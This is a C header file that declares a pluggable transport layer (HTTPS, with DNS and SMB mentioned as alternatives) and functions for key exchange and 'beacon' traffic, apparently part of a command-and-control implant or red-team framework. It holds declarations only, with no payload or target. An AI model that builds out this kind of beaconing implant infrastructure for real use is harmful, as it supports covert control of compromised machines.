#ifndef ZERIN_TRANSPORT_H
#define ZERIN_TRANSPORT_H

#include <stdint.h>
#include <stddef.h>

// Transport interface — function pointers allow swapping HTTP/DNS/SMB/etc.
typedef struct transport transport_t;

typedef int  (*transport_init_fn)(transport_t *t, const char *url, const char *user_agent);
typedef int  (*transport_send_fn)(transport_t *t, const char *endpoint,
                                  const uint8_t *data, size_t data_len,
                                  uint8_t **response, size_t *response_len);
typedef void (*transport_cleanup_fn)(transport_t *t);

struct transport {
    transport_init_fn       init;
    transport_send_fn       send;
    transport_cleanup_fn    cleanup;
    void                    *ctx;       // Implementation-specific context
};

// HTTP/S transport implementation
extern transport_t transport_https;

int  http_init(transport_t *t, const char *url, const char *user_agent);
int  http_send(transport_t *t, const char *endpoint,
               const uint8_t *data, size_t data_len,
               uint8_t **response, size_t *response_len);
void http_cleanup(transport_t *t);

// High-level transport functions used by beacon
int transport_do_key_exchange(transport_t *t, const char *base_url,
                              const uint8_t *kx_data, size_t kx_len,
                              uint8_t **response, size_t *response_len);

int transport_do_beacon(transport_t *t, const char *base_url,
                        const uint8_t *beacon_data, size_t beacon_len,
                        uint8_t **response, size_t *response_len);

#endif // ZERIN_TRANSPORT_H